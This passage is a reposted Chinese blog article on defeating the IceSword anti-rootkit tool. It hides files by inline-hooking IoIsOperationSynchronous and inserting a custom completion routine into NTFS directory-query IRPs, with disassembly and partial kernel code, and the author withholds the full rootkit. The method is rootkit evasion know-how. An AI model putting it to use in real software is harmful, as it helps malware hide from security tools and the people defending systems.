突破icesword實現檔案隱藏

來源:互聯網
上載者:User

突破icesword實現檔案隱藏

估計想在icesword下隱藏檔案的人有很多吧。今天我介紹一種方法。

先介紹一下icesword是如何尋找檔案的。基本原理就是自己構造一個irp出來,然後直接IoCallDriver發送到fsd。但是 icesword做了更多的工作。它直接讀取ntfs.sys 和fastfat.sys,從pe檔案格式的角度上計算出正確的fsd的dispatch routine地址,然後再call。而且icesword自己實現了一個IoCallDriver。所以一般的fsd hook是對付不了icesword的。

前段時間cardmagic公布了一種方法,hook IofCompleteRequest。然後在UserBuffer裡處理要隱藏的檔案。到目前位置,api hook 基本上走到盡頭了。那麼如果要處理 call dispatch routine 後的buffer還可以在哪裡下手呢?

寫過驅動的人容易知道,一般的filter類驅動在往下層驅動傳遞irp的時候會設定一個完成函數,就是CompletionRoutine。 IofCallDriver 調用下層驅動,下層驅動處理完成之後CompletionRoutine 就會被調用。那麼我們能不能hook掉查詢檔案的irp 的完成函數呢?調試的時候發現當 MajorFunction==IRP_MJ_DIRECTORY_CONTROL, MinorFunction==IRP_MN_QUERY_DIRECTORY 的時候IrpStackLocation中的CompletionRoutine的是空的。如何解決呢?先總結一下,現在面臨兩個問題:

1 如何得到icesword下發的irp ?
2 如何為捕獲到的irp設定一個callback的完成函數?

下面我來逐個突破:
icesword畢竟還是基於os開發的東西,所以它不可能獨立於os去做所有的事。就是說//FileSystem//ntfs 的IRP_MJ_DIRECTORY_CONTROL的處理函數它一定會被調用。既然我們不能hook這個dispatch routine,那麼我們是否可以hook 這個routine中調用過的函數,然後判斷函數返回地址,和dispatch routine的地址做比較以此來判斷是否在查詢檔案。
先看ntfs.sys的開頭部分代碼:
INIT:0009527E mov dword ptr [esi+7Ch], offset _NtfsFsdLockControl@8 ; NtfsFsdLockControl(x,x)
INIT:00095285 mov dword ptr [esi+68h], offset _NtfsFsdDirectoryControl@8 ; NtfsFsdDirectoryControl(x,x)
INIT:0009528C mov dword ptr [esi+50h], offset _NtfsFsdSetInformation@8 ; NtfsFsdSetInformation(x,x)
INIT:00095293 mov dword ptr [esi+38h], offset _NtfsFsdCreate@8 ; NtfsFsdCreate(x,x)
INIT:0009529A mov dword ptr [esi+40h], offset _NtfsFsdClose@8 ; NtfsFsdClose(x,x)
INIT:000952A1 mov dword ptr [esi+44h], offset _NtfsFsdRead@8 ; NtfsFsdRead(x,x)
INIT:000952A8 mov dword ptr [esi+48h], offset _NtfsFsdWrite@8 ; NtfsFsdWrite(x,x)
INIT:000952AF mov dword ptr [esi+5Ch], offset _NtfsFsdFlushBuffers@8 ; NtfsFsdFlushBuffers(x,x)
INIT:000952B6 mov dword ptr [esi+6Ch], offset _NtfsFsdFileSystemControl@8 ; NtfsFsdFileSystemControl(x,x)
INIT:000952BD mov dword ptr [esi+80h], offset _NtfsFsdCleanup@8 ; NtfsFsdCleanup(x,x)
INIT:000952C7 mov dword ptr [esi+78h], offset _NtfsFsdShutdown@8 ; NtfsFsdShutdown(x,x)
INIT:000952CE mov dword ptr [esi+0A4h], offset _NtfsFsdPnp@8 ; NtfsFsdPnp(x,x)
INIT:000952D8 mov dword ptr [esi+28h], offset _NtfsFastIoDispatch
INIT:000952DF mov eax, offset _NtfsFsdDispatchWait@8 ; NtfsFsdDispatchWait(x,x)

開頭這部分是初始化驅動的分發曆程,我們需要關注的是 mov dword ptr [esi+68h], offset _NtfsFsdDirectoryControl@8 , 跟進來:
PAGE:00037FBD push 14Ch
PAGE:00037FC2 push offset unk_28848
PAGE:00037FC7 call __SEH_prolog
PAGE:00037FCC xor edi, edi
PAGE:00037FCE mov [ebp+var_1C], edi
PAGE:00037FD1 call ds:__imp__KeEnterCriticalRegion@0 ; KeEnterCriticalRegion()
PAGE:00037FD7 push 1
PAGE:00037FD9 push 1
PAGE:00037FDB lea eax, [ebp+var_4C]
PAGE:00037FDE push eax
PAGE:00037FDF call _NtfsInitializeTopLevelIrp@12 ; NtfsInitializeTopLevelIrp(x,x,x)
PAGE:00037FE4 mov esi, eax
PAGE:00037FE6 mov [ebp+var_20], esi
PAGE:00037FE9
PAGE:00037FE9 loc_37FE9: ; CODE XREF: MakeRoomForAttribute(x,x,x,x)+2B19j
PAGE:00037FE9 xor ebx, ebx
PAGE:00037FEB mov [ebp+ms_exc.disabled], ebx
PAGE:00037FEE cmp [ebp+var_1C], ebx
PAGE:00037FF1 jnz short loc_3806C
PAGE:00037FF3 mov byte ptr [ebp+var_24], bl
PAGE:00037FF6 push [ebp+arg_4]
PAGE:00037FF9 call ds:__imp__IoIsOperationSynchronous@4 ; IoIsOperationSynchronous(x) // 我想從這個函數下手
PAGE:00037FFF test al, al
PAGE:00038001 jz short loc_38010
PAGE:00038003 mov byte ptr [ebp+var_24], 1
PAGE:00038007 lea eax, [ebp+var_15C]
PAGE:0003800D mov [ebp+var_1C], eax
PAGE:00038010
PAGE:00038010 loc_38010: ; CODE XREF: NtfsFsdDirectoryControl(x,x)+44j
PAGE:00038010 lea eax, [ebp+var_1C]
PAGE:00038013 push eax
PAGE:00038014 push [ebp+var_24]
PAGE:00038017 push [ebp+arg_4]
PAGE:0003801A call _NtfsInitializeIrpContext@12 ; NtfsInitializeIrpContext(x,x,x)

這個dispatch routine的開始不遠處有對IoIsOperationSynchronous的調用。我看能不能方便的hook這個函數,開啟windbg,選擇local kernel debuging。

lkd> u IoIsOperationSynchronous
nt!IoIsOperationSynchronous:
804f0808 8bff mov edi,edi
804f080a 55 push ebp
804f080b 8bec mov ebp,esp
804f080d 8b4508 mov eax,dword ptr [ebp+8]
804f0810 8b4860 mov ecx,dword ptr [eax+60h]
804f0813 8b4918 mov ecx,dword ptr [ecx+18h]
好的,函數被匯出。我們直接直接inline hook它。
hook的程式碼片段:

//-----------------------------------------------------------
GetKernelModuleAddress();

HookFunction(kernelBaseAddress, "IoIsOperationSynchronous", MyIoIsOperationSynchronous, (ULONG*)&OldIoIsOperationSynchronous);

irql = KeRaiseIrqlToDpcLevel();
returnAddr = HookCode((PVOID)OldIoIsOperationSynchronous, (PVOID)MyIoIsOperationSynchronous);
KeLowerIrql(irql);
//------------------------- code ends here--------------------
如何判斷是否是在檔案系統的IRP_MJ_DIRECTORY_CONTROL函數中被調用的呢?
ULONG callerAddr = 0;
_asm mov eax,[ebp+4] // 得到返回地址
_asm mov callerAddr,eax

if(callerAddr - 0xbfefb69d < 120) 和fsd 的dispatch routine入口地址比較
{
HackIrp(Irp);
}
註:0xbfefb69d 這個是我調試的時候得到的地址,我直接寫入程式碼了。

到此為止,第一個問題解決了,所以現在可以捕獲到icesword查詢檔案的irp了。

第2個問題,如何接管完成函數。

之前發現,ntfs驅動的dispatch routine是沒有設定CompletionRoutine的。那麼我就來給他設定一個。設定完成函數的api是 IoSetCompletionRoutine。但是這個函數是給下層驅動設定完成函數的。我們現在是需要給當前的 stack location 設定CompletionRoutine。ok,看一下IoSetCompletionRoutine,從wrk中找源碼:

#define IoSetCompletionRoutine( Irp, Routine, CompletionContext, Success, Error, Cancel ) { /
PIO_STACK_LOCATION __irpSp; /
ASSERT( ((Success) | (Error) | (Cancel)) ? (Routine) != NULL : TRUE ); /
__irpSp = IoGetNextIrpStackLocation( (Irp) ); /
__irpSp->CompletionRoutine = (Routine); /
__irpSp->Context = (CompletionContext); /
__irpSp->Control = 0; /
if ((Success)) { __irpSp->Control = SL_INVOKE_ON_SUCCESS; } /
if ((Error)) { __irpSp->Control |= SL_INVOKE_ON_ERROR; } /
if ((Cancel)) { __irpSp->Control |= SL_INVOKE_ON_CANCEL; } }

看了源碼馬上知道該怎麼做了。(如果你還沒知道那就不用知道了...)
ok,下面為fsd處理IRP_MJ_DIRECTORY_CONTROL的routine設定CompletionRoutine

irpSp->CompletionRoutine = MyFilterFiles;
irpSp->Context = Irp->UserBuffer;
irpSp->Control = 0;
irpSp->Control = SL_INVOKE_ON_SUCCESS;
irpSp->Control |= SL_INVOKE_ON_ERROR;
irpSp->Control |= SL_INVOKE_ON_CANCEL;

函數MyFilterFiles是被我們控制的,所以我們可以在裡面隱藏掉想要隱藏的檔案。MyFilterFiles的實現不寫了,參見cardmagic就可以了。

做到這裡我認為我可以成功了,但是我拿到虛擬機器裡一試,機器籃屏了。出錯的module是icesword的驅動。鬱悶了。這是vxk提醒了我。原 來 icesword自己設定了完成函數。下斷點,調試,icesword果然有自己的完成函數。(嚴重感謝vxk)解決這個問題不難,不管它的完成函數是怎 麼實現的,CompletionRoutine的函數原型基本是固定的。所以我只需要在MyFilterFiles處理完Irp-> UserBuffer後 , push參數進去,然後call icesword的完成函數就行了。

至此,突破icesword實現檔案隱藏的全部工作完成了。完整的代碼我不就放出來的。對於寫rootkit的人們來說知道了思路就已經足夠了。放完整的代碼出來如果被一些流氓直接a過去就不和諧了。

另外,要想比較完美的實現還有幾個小細節問題要處理。譬如如何得到IRP_MJ_DIRECTORY_CONTROL處理routine的正確地址,這個可以像icesword一樣map 磁碟檔案,然後自己計算。其餘的問題我一時想不起來了,昨天失眠……

 

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.